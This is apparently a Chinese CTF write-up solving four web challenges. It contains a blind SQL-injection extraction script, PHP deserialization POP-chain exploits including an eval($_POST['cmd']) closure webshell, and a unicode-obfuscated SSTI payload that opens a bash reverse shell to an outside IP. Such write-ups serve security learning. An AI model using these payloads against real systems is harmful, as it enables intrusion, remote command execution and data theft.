写在前面:每次通过比赛都能学到很多东西,对于之前的知识点有一知半解的地方重新认识了,比如ssti的盲注,以前只知道{{}}、{%%}能执行语句,但是没有想过他们的区别,通过一道ssti的题目就能更加深入地区分这两者的区别
1、ez_getflag
任意文件读取直接读/flag
2、绝对防御
2.1 网站js源码找到提示
2.2 sql注入
根据js源代码里面的描述,可以传一个id的参数,试着传一下,发现id=1是admin,id=2是flag,猜想可能跟有sql注入,简单测试一些确实存在sql注入
2.2.1 前端过滤
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
这个过滤其实很严格,不过是前端可以用burp或者写脚本就可以绕过
2.2.2 后端过滤
if
union
sleep
...
因为过滤了union,就不能用联合注入,试一下盲注,用这个payload
id=1 and ascii(substr((select database()),1,1))>127
改变大于号后面的长度发现回显不一样,写个盲注脚本跑出flag
import re
import requests as req
import time
url = "http://78dbbf39-0d45-4ce7-9a8e-7073b048367b.node4.buuoj.cn:81/SUPPERAPI.php?"
payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
low = 0x20
high = 0x7f
while(low <= high):
mid = (high + low) // 2
print(low, mid, high)
#payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
#payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
payload = f"id=1 and ascii(substr((select password from users where id=2),{i},1))>{mid}"
# 数据库 database()
# 表名 users
# 字段 id,username,password
#flag在id为2的password中
print(payload)
response = req.get(url + payload)
#print(response.text)
if(len(response.text) > 587):
low = mid + 1
else:
high = mid - 1
print("[+]:",low, res)
time.sleep(1)
res += chr(low)
print("[+]:",low, res)
print(res)
3、Newser(复现)
3.1 composer.json泄漏
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}
备注一个:compser换源、开启tls
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer config -g -- disable-tls false
3.2 分析过程
3.2.1 分析入口点
文件高亮部分有__wakeup() 函数和\ __destruct()函数,然后__destruc()输出了反序列化的内容,从这个__destruct开始分析pop链
- 反序列化的常见起点
__destruct() 一定会调用
__wakeup() 一定会调用
__toString() 当一个对象被当做字符串使用的时候被调用
- 中间跳板
__toString() 当一个对象被当做字符串使用
__get() 读取不可访问或不存在属性时被调用
__set() 当给不可访问或不存在属性赋值时被调用
__isset() 对不可访问或不存在的属性调用isset()或empty()时被调用
- 反序列化常见终点
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
3.2.2 绕过_wakeup
通过文件泄漏,可以知道当前的环境中引入了faker和closure这两个库,通过faker库可以完成rce的功能,但是由于faker库中有一个__wakeup()方法对于输入的内容进行清空,因此需要绕过
绕过参考文章
利用文章提到的引用,可以将参数在__wakeup()执行后与另外一个参数绑定,通过设置另外一个参数从而实现改变当前参数的效果,关键点在于找到一段类似格式的代码,在User类中的__wakeup()函数中刚好存在一段类似的代码
$this->a = $this->b;
$this->a[$this->b] = $this->c
参数绑定的一个Demo
<?php
class Foo{
public $bitch;
public $fuck;
public function __destruct()
{
$this->bitch = "bitch";
var_dump($this);
echo "Here!\n";
}
public function __wakeup()
{
$this->fuck = "fuck";
echo "There!\n";
}
}
$s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';
$o = unserialize($s);
var_dump($o);
3.2.3 命令执行与RCE分析
反序列化的终点在 call_user_func_array()
,只有第一个参数可控,通过闭包函数反序列化来rce
call_user_func_array($this->getFormatter($format), $arguments);
代码框架如下
include("closure/autoload.php"); // 引入closure库
$func = function(){
$cmd = 'id';
system($cmd);
}; //构造匿名函数
$raw = \Opis\Closure\serialize($func); // 序列化
$c = unserialize($raw); //反序列化之后的数据拿去做 call_user_func_array()的参数
3.3 命令执行poc
<?php
namespace{
class User
{
private $_password;
public $password;
private $instance;
public function __construct()
{
$this->instance = new Faker\Generator($this);
$this->_password = ["_username"=>"phpinfo"];
}
}
echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
class Generator{
private $formatters;
public function __construct($obj)
{
$this->formatters = &$obj->password;
}
}
}
3.4 RCE(匿名函数与反序列化闭包)
<?php
namespace{
use User as GlobalUser;
class User{
public $password;
private $_password;
private $instance;
public function __construct()
{
$this->instance = new Faker\Generator($this);
$func = function(){
eval($_POST['cmd']);
};
include("./vendor/opis/closure/autoload.php");
$raw = \Opis\Closure\serialize($func);
$c = unserialize($raw);
$this->_password = ["_username"=>$c];
}
}
echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
class Generator{
private $formatters;
public function __construct($obj)
{
$this->formatters = &$obj->password;
}
}
}
?>
4 Harddisk(复现)
SSTI方面的题目
过滤了很多内容,主要的几个
.
space
{{}}
__
[]
x
不过可以用|attr 和 unicode绕(不能用十六进制是因为x被过滤)
payload
{%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0032\u0034\u002e\u0032\u0032\u0032\u002e\u0031\u0037\u0030\u002e\u0032\u0034\u0031\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0022"))%}test{%endif%}